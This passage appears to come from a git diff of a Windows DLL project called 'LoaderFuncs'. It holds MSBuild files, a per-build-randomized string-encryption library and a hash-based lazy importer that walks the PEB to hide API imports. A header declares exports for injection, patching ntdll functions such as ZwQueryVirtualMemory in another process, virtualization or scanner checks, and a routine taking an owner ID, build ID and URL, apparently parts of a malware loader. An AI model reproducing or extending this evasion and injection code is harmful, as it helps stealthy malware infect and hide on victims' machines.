unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long long SizeOfStackReserve;
unsigned long long SizeOfStackCommit;
unsigned long long SizeOfHeapReserve;
unsigned long long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_OPTIONAL_HEADER32 {
unsigned short Magic;
unsigned char MajorLinkerVersion;
unsigned char MinorLinkerVersion;
unsigned long SizeOfCode;
unsigned long SizeOfInitializedData;
unsigned long SizeOfUninitializedData;
unsigned long AddressOfEntryPoint;
unsigned long BaseOfCode;
unsigned long BaseOfData;
unsigned long ImageBase;
unsigned long SectionAlignment;
unsigned long FileAlignment;
unsigned short MajorOperatingSystemVersion;
unsigned short MinorOperatingSystemVersion;
unsigned short MajorImageVersion;
unsigned short MinorImageVersion;
unsigned short MajorSubsystemVersion;
unsigned short MinorSubsystemVersion;
unsigned long Win32VersionValue;
unsigned long SizeOfImage;
unsigned long SizeOfHeaders;
unsigned long CheckSum;
unsigned short Subsystem;
unsigned short DllCharacteristics;
unsigned long SizeOfStackReserve;
unsigned long SizeOfStackCommit;
unsigned long SizeOfHeapReserve;
unsigned long SizeOfHeapCommit;
unsigned long LoaderFlags;
unsigned long NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[16];
};
struct IMAGE_NT_HEADERS {
unsigned long Signature;
IMAGE_FILE_HEADER FileHeader;
#ifdef _WIN64
IMAGE_OPTIONAL_HEADER64 OptionalHeader;
#else
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
#endif
};
} // namespace win
struct forwarded_hashes {
unsigned module_hash;
unsigned function_hash;
};
// 64 bit integer where 32 bits are used for the hash offset
// and remaining 32 bits are used for the hash computed using it
using offset_hash_pair = unsigned long long;
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_hash(offset_hash_pair pair) noexcept { return (pair & 0xFFFFFFFF); }
LAZY_IMPORTER_FORCEINLINE constexpr unsigned get_offset(offset_hash_pair pair) noexcept { return static_cast<unsigned>(pair >> 32); }
template<bool CaseSensitive = LAZY_IMPORTER_CASE_SENSITIVITY>
LAZY_IMPORTER_FORCEINLINE constexpr unsigned hash_single(unsigned value, char c) noexcept
{
return (value ^ static_cast<unsigned>((!CaseSensitive && c >= 'A' && c <= 'Z') ? (c | (1 << 5)) : c)) * 323;
}
LAZY_IMPORTER_FORCEINLINE constexpr unsigned
khash_impl(const char* str, unsigned value) noexcept
{
return (*str ? khash_impl(str + 1, hash_single(value, *str)) : value);
}
LAZY_IMPORTER_FORCEINLINE constexpr offset_hash_pair khash(
const char* str, unsigned offset) noexcept
{
return ((offset_hash_pair{ offset } << 32) | khash_impl(str, offset));
}
template<class CharT = char>
LAZY_IMPORTER_FORCEINLINE unsigned hash(const CharT* str, unsigned offset) noexcept
{
unsigned value = offset;
for (;;) {
char c = *str++;
if (!c)
return value;
value = hash_single(value, c);
}
}
LAZY_IMPORTER_FORCEINLINE unsigned hash(
const win::UNICODE_STRING_T& str, unsigned offset) noexcept
{
auto first = str.Buffer;
const auto last = first + (str.Length / sizeof(wchar_t));
auto value = offset;
for (; first != last; ++first)
value = hash_single(value, static_cast<char>(*first));
return value;
}
// some helper functions
LAZY_IMPORTER_FORCEINLINE const win::PEB_T* peb() noexcept
{
return reinterpret_cast<const win::PEB_T*>(__readgsqword(0x60));
}
LAZY_IMPORTER_FORCEINLINE const win::PEB_LDR_DATA_T* ldr()
{
return reinterpret_cast<const win::PEB_LDR_DATA_T*>(peb()->Ldr);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_NT_HEADERS* nt_headers(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_NT_HEADERS*>(
base + reinterpret_cast<const win::IMAGE_DOS_HEADER*>(base)->e_lfanew);
}
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* image_export_dir(
const char* base) noexcept
{
return reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + nt_headers(base)->OptionalHeader.DataDirectory->VirtualAddress);
}
LAZY_IMPORTER_FORCEINLINE const win::LDR_DATA_TABLE_ENTRY_T* ldr_data_entry() noexcept
{
return reinterpret_cast<const win::LDR_DATA_TABLE_ENTRY_T*>(
ldr()->InLoadOrderModuleList.Flink);
}
struct exports_directory {
unsigned long _ied_size;
const char* _base;
const win::IMAGE_EXPORT_DIRECTORY* _ied;
public:
using size_type = unsigned long;
LAZY_IMPORTER_FORCEINLINE
exports_directory(const char* base) noexcept : _base(base)
{
const auto ied_data_dir = nt_headers(base)->OptionalHeader.DataDirectory[0];
_ied = reinterpret_cast<const win::IMAGE_EXPORT_DIRECTORY*>(
base + ied_data_dir.VirtualAddress);
_ied_size = ied_data_dir.Size;
}
LAZY_IMPORTER_FORCEINLINE explicit operator bool() const noexcept
{
return reinterpret_cast<const char*>(_ied) != _base;
}
LAZY_IMPORTER_FORCEINLINE size_type size() const noexcept
{
return _ied->NumberOfNames;
}
LAZY_IMPORTER_FORCEINLINE const char* base() const noexcept { return _base; }
LAZY_IMPORTER_FORCEINLINE const win::IMAGE_EXPORT_DIRECTORY* ied() const noexcept
{
return _ied;
}
LAZY_IMPORTER_FORCEINLINE const char* name(size_type index) const noexcept
{
return _base + reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfNames)[index];
}
LAZY_IMPORTER_FORCEINLINE const char* address(size_type index) const noexcept
{
const auto* const rva_table =
reinterpret_cast<const unsigned long*>(_base + _ied->AddressOfFunctions);
const auto* const ord_table = reinterpret_cast<const unsigned short*>(
_base + _ied->AddressOfNameOrdinals);
return _base + rva_table[ord_table[index]];
}
LAZY_IMPORTER_FORCEINLINE bool is_forwarded(
const char* export_address) const noexcept
{
const auto ui_ied = reinterpret_cast<const char*>(_ied);
return (export_address > ui_ied && export_address < ui_ied + _ied_size);
}
};
struct safe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T;
value_type* value;
value_type* head;
LAZY_IMPORTER_FORCEINLINE safe_module_enumerator() noexcept
: safe_module_enumerator(ldr_data_entry())
{
}
LAZY_IMPORTER_FORCEINLINE
safe_module_enumerator(const detail::win::LDR_DATA_TABLE_ENTRY_T* ldr) noexcept
: value(ldr->load_order_next()), head(value)
{
}
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return value != head && value->DllBase;
}
};
struct unsafe_module_enumerator {
using value_type = const detail::win::LDR_DATA_TABLE_ENTRY_T*;
value_type value;
LAZY_IMPORTER_FORCEINLINE unsafe_module_enumerator() noexcept
: value(ldr_data_entry())
{
}
LAZY_IMPORTER_FORCEINLINE void reset() noexcept { value = ldr_data_entry(); }
LAZY_IMPORTER_FORCEINLINE bool next() noexcept
{
value = value->load_order_next();
return true;
}
};
// provides the cached functions which use Derive classes methods
template<class Derived, class DefaultType = void*>
class lazy_base {
protected:
// This function is needed because every templated function
// with different args has its own static buffer
LAZY_IMPORTER_FORCEINLINE static void*& _cache() noexcept
{
static void* value = nullptr;
return value;
}
public:
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe() noexcept
{
return Derived::template get<T, safe_module_enumerator>();
}
template<class T = DefaultType, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T cached() noexcept
{
auto& cached = _cache();
if (!cached)
cached = Derived::template get<void*, Enum>();
return (T)(cached);
}
template<class T = DefaultType>
LAZY_IMPORTER_FORCEINLINE static T safe_cached() noexcept
{
return cached<T, safe_module_enumerator>();
}
};
template<offset_hash_pair OHP>
struct lazy_module : lazy_base<lazy_module<OHP>> {
template<class T = void*, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static T get() noexcept
{
Enum e;
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
template<class T = void*, class Ldr>
LAZY_IMPORTER_FORCEINLINE static T in(Ldr ldr) noexcept
{
safe_module_enumerator e(reinterpret_cast<const detail::win::LDR_DATA_TABLE_ENTRY_T*>(ldr));
do {
if (hash(e.value->BaseDllName, get_offset(OHP)) == get_hash(OHP))
return (T)(e.value->DllBase);
} while (e.next());
return {};
}
};
template<offset_hash_pair OHP, class T>
struct lazy_function : lazy_base<lazy_function<OHP, T>, T> {
using base_type = lazy_base<lazy_function<OHP, T>, T>;
template<class... Args>
LAZY_IMPORTER_FORCEINLINE decltype(auto) operator()(Args&&... args) const
{
#ifndef LAZY_IMPORTER_CACHE_OPERATOR_PARENS
return get()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#else
return this->cached()(LAZY_IMPORTER_CPP_FORWARD(Args, args)...);
#endif
}
template<class F = T, class Enum = unsafe_module_enumerator>
LAZY_IMPORTER_FORCEINLINE static F get() noexcept
{
// for backwards compatability.
// Before 2.0 it was only possible to resolve forwarded exports when
// this macro was enabled
#ifdef LAZY_IMPORTER_RESOLVE_FORWARDED_EXPORTS
return forwarded<F, Enum>();
#else
Enum e;
do {
#ifdef LAZY_IMPORTER_HARDENED_MODULE_CHECKS
if (!e.value->DllBase || !e.value->FullDllName.Length)
continue;
#endif
const exports_directory exports(e.value->DllBase);
if (exports) {
auto export_index = exports.size();
while (export_index--)
if (hash(exports.name(export_index), get_offset(OHP)) == get_hash(OHP))
return (F)(exports.address(export_index));
}
} while (e.next());
return {};
#endif
}
};
}
}
@@ -0,0 +1,208 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|ARM64">
<Configuration>Debug</Configuration>
<Platform>ARM64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM64">
<Configuration>Release</Configuration>
<Platform>ARM64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Ecy.h" />
<ClInclude Include="MyFunctions.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="MyFunctions.cpp" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{59d8702c-90c9-4143-93a6-6e2ef01e2e0b}</ProjectGuid>
<RootNamespace>LoaderFuncs</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;LOADERFUNCS_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;LOADERFUNCS_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;LOADERFUNCS_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;MYFUNCTIONS_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
<LanguageStandard>stdcpp20</LanguageStandard>
<DebugInformationFormat>None</DebugInformationFormat>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;LOADERFUNCS_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;LOADERFUNCS_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="MyFunctions.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Ecy.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="MyFunctions.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
File diff suppressed because it is too large Load Diff
+21
View File
@@ -0,0 +1,21 @@
#ifndef MYFUNCTIONS_H
#define MYFUNCTIONS_H
#ifdef MYFUNCTIONS_EXPORTS
#define MYFUNCTIONS_API __declspec(dllexport)
#else
#define MYFUNCTIONS_API __declspec(dllimport)
#endif
extern "C" {
MYFUNCTIONS_API LPCWSTR GetInjekt();
MYFUNCTIONS_API bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr, HMODULE hNtdll);
MYFUNCTIONS_API int openar(std::vector<uint8_t> bittys);
MYFUNCTIONS_API bool patch_NtManageHotPatch64(HANDLE hProcess, HMODULE hNtdll);
MYFUNCTIONS_API bool IsVT();
MYFUNCTIONS_API int Mannot(std::string ownrdid, std::string bldsid, std::string MainURL);
}
#endif
+673
View File
@@ -0,0 +1,673 @@
#include <Windows.h>
#include <random>
#include <iostream>
#ifndef BUILD_SEED
#define BUILD_SEED 0xBbd66a7u // <-- This value gets randomized on each build via a prebuild command
#endif
#define xorstr(str) ::jm::xor_string([]() { return str; }, std::integral_constant<std::size_t, sizeof(str) / sizeof(*str)>{}, std::make_index_sequence<::jm::detail::_buffer_size<sizeof(str)>()>{})
#define EC(str) xorstr(str).crypt_get()
#define TIME_BASED_XOR_KEY \
( static_cast<std::uintptr_t>(BUILD_SEED) )
#define XORSTR_FORCEINLINE __forceinline
namespace jm {
namespace detail {
template<std::size_t Size>
XORSTR_FORCEINLINE constexpr std::size_t _buffer_size()
{
return ((Size / 16) + (Size % 16 != 0)) * 2;
}
template<std::uint32_t Seed>
XORSTR_FORCEINLINE constexpr std::uint32_t key4() noexcept
{
std::uint32_t value = Seed ^ BUILD_SEED;
for (char c : __FUNCSIG__)
value = static_cast<std::uint32_t>((value ^ c) * 31ull);
return value;
}
template<std::size_t S>
XORSTR_FORCEINLINE constexpr std::uint64_t key8()
{
constexpr auto first_part = key4<23 + S>();
constexpr auto second_part = key4<first_part>();
return (static_cast<std::uint64_t>(first_part) << 32) | second_part;
}
// loads up to 8 characters of string into uint64 and xors it with the key
template<std::size_t N, class CharT>
XORSTR_FORCEINLINE constexpr std::uint64_t
load_xored_str8(std::uint64_t key, std::size_t idx, const CharT* str) noexcept
{
using cast_type = typename std::make_unsigned<CharT>::type;
constexpr auto value_size = sizeof(CharT);
constexpr auto idx_offset = 8 / value_size;
std::uint64_t value = key;
for (std::size_t i = 0; i < idx_offset && i + idx * idx_offset < N; ++i)
value ^=
(std::uint64_t{ static_cast<cast_type>(str[i + idx * idx_offset]) }
<< ((i % idx_offset) * 8 * value_size));
return value;
}
// forces compiler to use registers instead of stuffing constants in rdata
XORSTR_FORCEINLINE std::uint64_t load_from_reg(std::uint64_t value) noexcept
{
#if defined(__clang__) || defined(__GNUC__)
asm("" : "=r"(value) : "0"(value) : );
return value;
#else
volatile std::uint64_t reg = value;
return reg;
#endif
}
} // namespace detail
template<class CharT, std::size_t Size, class Keys, class Indices>
class xor_string;
template<class CharT, std::size_t Size, std::uint64_t... Keys, std::size_t... Indices>
class xor_string<CharT, Size, std::integer_sequence<std::uint64_t, Keys...>, std::index_sequence<Indices...>> {
#ifndef JM_XORSTR_DISABLE_AVX_INTRINSICS
constexpr static inline std::uint64_t alignment = ((Size > 16) ? 32 : 16);
#else
constexpr static inline std::uint64_t alignment = 16;
#endif
alignas(alignment) std::uint64_t _storage[sizeof...(Keys)];
static constexpr std::uint64_t keys[sizeof...(Keys)] = { Keys... };
public:
using value_type = CharT;
using size_type = std::size_t;
using pointer = CharT*;
using const_pointer = const CharT*;
template<class L>
XORSTR_FORCEINLINE xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) noexcept
: _storage{ ::jm::detail::load_from_reg((std::integral_constant<std::uint64_t, detail::load_xored_str8<Size>(Keys, Indices, l())>::value))... }
{
}
XORSTR_FORCEINLINE constexpr size_type size() const noexcept
{
return Size - 1;
}
XORSTR_FORCEINLINE void crypt() noexcept
{
((_storage[Indices] ^= keys[Indices]), ...);
}
XORSTR_FORCEINLINE const_pointer get() const noexcept
{
return reinterpret_cast<const_pointer>(_storage);
}
XORSTR_FORCEINLINE pointer get() noexcept
{
return reinterpret_cast<pointer>(_storage);
}
XORSTR_FORCEINLINE pointer crypt_get() noexcept
{
crypt();
return reinterpret_cast<pointer>(_storage);
}
};
template<class L, std::size_t Size, std::size_t... Indices>
xor_string(L l, std::integral_constant<std::size_t, Size>, std::index_sequence<Indices...>) -> xor_string<
std::remove_const_t<std::remove_reference_t<decltype(l()[0])>>,
Size,
std::integer_sequence<std::uint64_t, detail::key8<Indices>()...>,
std::index_sequence<Indices...>>;
} // namespace jm
#define LI_FN(name) ::li::detail::lazy_function<LAZY_IMPORTER_KHASH(#name), decltype(&name)>()
#ifndef LAZY_IMPORTER_CPP_FORWARD
#ifdef LAZY_IMPORTER_NO_CPP_FORWARD
#define LAZY_IMPORTER_CPP_FORWARD(t, v) v
#else
#include <utility>
#define LAZY_IMPORTER_CPP_FORWARD(t, v) std::forward<t>( v )
#endif
#endif
#include <intrin.h>
#ifndef LAZY_IMPORTER_NO_FORCEINLINE
#if defined(_MSC_VER)
#define LAZY_IMPORTER_FORCEINLINE __forceinline
#elif defined(__GNUC__) && __GNUC__ > 3
#define LAZY_IMPORTER_FORCEINLINE inline __attribute__((__always_inline__))
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#else
#define LAZY_IMPORTER_FORCEINLINE inline
#endif
#ifdef LAZY_IMPORTER_CASE_INSENSITIVE
#define LAZY_IMPORTER_CASE_SENSITIVITY false
#else
#define LAZY_IMPORTER_CASE_SENSITIVITY true
#endif
#define LAZY_IMPORTER_STRINGIZE(x) #x
#define LAZY_IMPORTER_STRINGIZE_EXPAND(x) LAZY_IMPORTER_STRINGIZE(x)
#define LAZY_IMPORTER_KHASH(str) \
::li::detail::khash( \
str, \
::li::detail::khash_impl( \
/* mostly-stable part so identical strings collide in the TU: */ \
__FILE__ LAZY_IMPORTER_STRINGIZE_EXPAND(__LINE__) \
/* build-level entropy: */ \
LAZY_IMPORTER_STRINGIZE_EXPAND(BUILD_SEED), \
/* mix constant keeps behaviour more complex */ \
OMGHERE /* A magic constant from the golden ratio */ ) )
namespace li {
namespace detail {
namespace win {
struct LIST_ENTRY_T {
const char* Flink;
const char* Blink;
};
struct UNICODE_STRING_T {
unsigned short Length;
unsigned short MaximumLength;
wchar_t* Buffer;
};
struct PEB_LDR_DATA_T {
unsigned long Length;
unsigned long Initialized;
const char* SsHandle;
LIST_ENTRY_T InLoadOrderModuleList;
};
struct PEB_T {
unsigned char Reserved1[2];
unsigned char BeingDebugged;
unsigned char Reserved2[1];
const char* Reserved3[2];
PEB_LDR_DATA_T* Ldr;
};
struct LDR_DATA_TABLE_ENTRY_T {
LIST_ENTRY_T InLoadOrderLinks;
LIST_ENTRY_T InMemoryOrderLinks;
LIST_ENTRY_T InInitializationOrderLinks;
const char* DllBase;
const char* EntryPoint;
union {
unsigned long SizeOfImage;
const char* _dummy;
};
UNICODE_STRING_T FullDllName;
UNICODE_STRING_T BaseDllName;
LAZY_IMPORTER_FORCEINLINE const LDR_DATA_TABLE_ENTRY_T*
load_order_next() const noexcept
{
return reinterpret_cast<const LDR_DATA_TABLE_ENTRY_T*>(
InLoadOrderLinks.Flink);
}
};
struct IMAGE_DOS_HEADER { // DOS .EXE header
unsigned short e_magic; // Magic number
unsigned short e_cblp; // Bytes on last page of file
unsigned short e_cp; // Pages in file
unsigned short e_crlc; // Relocations
unsigned short e_cparhdr; // Size of header in paragraphs
unsigned short e_minalloc; // Minimum extra paragraphs needed
unsigned short e_maxalloc; // Maximum extra paragraphs needed
unsigned short e_ss; // Initial (relative) SS value
unsigned short e_sp; // Initial SP value
unsigned short e_csum; // Checksum
unsigned short e_ip; // Initial IP value
unsigned short e_cs; // Initial (relative) CS value
unsigned short e_lfarlc; // File address of relocation table
unsigned short e_ovno; // Overlay number
unsigned short e_res[4]; // Reserved words
unsigned short e_oemid; // OEM identifier (for e_oeminfo)
unsigned short e_oeminfo; // OEM information; e_oemid specific
unsigned short e_res2[10]; // Reserved words
long e_lfanew; // File address of new exe header
};
struct IMAGE_FILE_HEADER {
unsigned short Machine;
unsigned short NumberOfSections;
unsigned long TimeDateStamp;
unsigned long PointerToSymbolTable;
unsigned long NumberOfSymbols;
unsigned short SizeOfOptionalHeader;
unsigned short Characteristics;
};
struct IMAGE_EXPORT_DIRECTORY {
unsigned long Characteristics;
unsigned long TimeDateStamp;
unsigned short MajorVersion;
unsigned short MinorVersion;
